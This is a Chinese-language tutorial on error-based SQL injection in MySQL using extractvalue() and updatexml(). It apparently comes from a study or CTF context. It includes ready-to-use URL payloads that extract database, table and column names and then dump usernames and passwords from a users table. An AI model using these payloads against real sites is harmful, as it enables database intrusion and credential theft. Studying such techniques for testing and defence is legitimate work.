sql知识总结二

一.报错注入

1.什么是报错注入?

这是一种页面响应形式,响应过程如下:

用户在前台页面输入检索内容----->后台将前台输入的检索内容无加区别的拼接成sql语句,送给数据库执行------>数据库将执行的结果返回给后台,后台将数据库执行的结果无加区别的显示到前台页面上

两个"无加区别":后台对于输入输出的合理性没有做检查(引起报错注入存在的基础)

通过看这个页面是否有回显来判断是否用报错注入

构造语句,让错误信息中夹杂可以显示数据库内容的查询语句

二.常用函数

主要用1,2,3

1.通过extractValue()报错注入

函数extractValue()包含两个参数

第一个 参数XML文档对象名称,第二个参数 路径

以创建数据库ctfstu和数据表xml为示例,展示函数extractValue()的用法

(1)先在ctfstu数据库内创建表xml

>create database ctfstu charset utf8;

>create table xml(doc varchar(150));

(2)在表内插入两段数据

insert into xml values('

<book>

<title>A bad boy how to get a girlfriend</title>

<author>

<initial>Love</initial>

<surname>benben</surname>

</author>

</book>

');

insert into xml values('

<book>

<title>how to become a bad boy</title>

<author>

<initial>hualong</initial>

<surname>Melton</surname>

</author>

</book>

');

(3)使用extractValue()查询xml里面的内容

查询作者是谁

>select extractvalue(doc,'/book/author/surname')from xml;

如果需要查询书名则可以用如下命令

>select extractvalue(doc,'/book/title') from xml;

把查询参数路径写错----->查询不到内容,但不会报错

>select extractValue(doc,concat(0x7e,(select);

把查询参数格式符号写错(例如book前面的/写成~)------>提示报错信息 [我们需要通过报错信息来尝试报错出我们需要的信息]

然后就构造下面这句

>select extractvalue(dox,concat(0x7e,(select database()))) from, xml;

(dox 可以随意写)

?/id=100' union select 1,extractvalue(1,concat(0x7e,(select database()))),3 --+

?/id=100' and 1,extractvalue(1,concat(0x7e,(select database()))) --+

0x7e 是 ~ 的ASCLL码

(4)获取所需数据表表名users

?id=100' and 1=extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+

(5) 获取所需数据列列名username 和 password

?id=100' and 1=extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))) --+

(6)显示内容

?id=100' and 1=extractvalue(1,concat(0x7e,(select group_concat(username,'~',password) from users))) --+

或者

?id=1' union select 1,2,extractvalue(1,concat(0x7e,(select group_concat(username,,password) from users))) --+

默认只能显示返回32个字符

使用函数substring解决只能返回32个字符串问题

select substring(123456,1,3) 第一个参数是要控制输出的字符串,第二个参数是从那个地方开始显示,第三个参数是一次要显示几个字符

2.updatexml报错注入

函数updatexml(XML_document,XPath_string,new_value)包含三个参数

第一个参数: XML_document是string格式,为XML文档对象的名称,例如Doc

第二个参数:XPath_string是路径,XPath格式的字符串

第三个参数:new_value,string格式,替换查找到符合条件的数据

updatexml报错原理:

同extractvalue(),输入错误的第二个参数,即更改路径的符号

正常句式

>select updatexml(doc,'/book/auther/surname','1') from xml;

错误句式

>select updatexml(doc,'~book/auther/surname','1') from xml;

相关推荐
Ahern_12 分钟前
Oracle 普通表至分区表的分区交换
大数据·数据库·sql·oracle
夜半被帅醒30 分钟前
MySQL 数据库优化详解【Java数据库调优】
java·数据库·mysql
不爱学习的啊Biao44 分钟前
【13】MySQL如何选择合适的索引?
android·数据库·mysql
破 风1 小时前
SpringBoot 集成 MongoDB
数据库·mongodb
Rverdoser1 小时前
MySQL-MVCC(多版本并发控制)
数据库·mysql
m0_748233641 小时前
SQL数组常用函数记录(Map篇)
java·数据库·sql
dowhileprogramming1 小时前
Python 中的迭代器
linux·数据库·python
0zxm2 小时前
08 Django - Django媒体文件&静态文件&文件上传
数据库·后端·python·django·sqlite
Minxinbb7 小时前
MySQL中Performance Schema库的详解(上)
数据库·mysql·dba
mmsx8 小时前
android sqlite 数据库简单封装示例(java)
android·java·数据库